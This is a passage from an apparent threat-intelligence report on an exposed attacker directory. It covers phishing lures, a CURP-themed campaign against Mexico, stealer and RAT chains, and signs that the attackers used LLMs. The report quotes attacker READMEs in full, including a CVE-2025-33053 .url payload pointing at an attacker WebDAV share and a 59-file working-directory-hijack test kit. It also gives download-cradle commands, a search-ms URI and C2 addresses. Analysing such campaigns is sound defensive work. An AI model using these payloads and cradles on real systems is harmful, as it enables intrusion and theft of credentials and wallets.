shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel 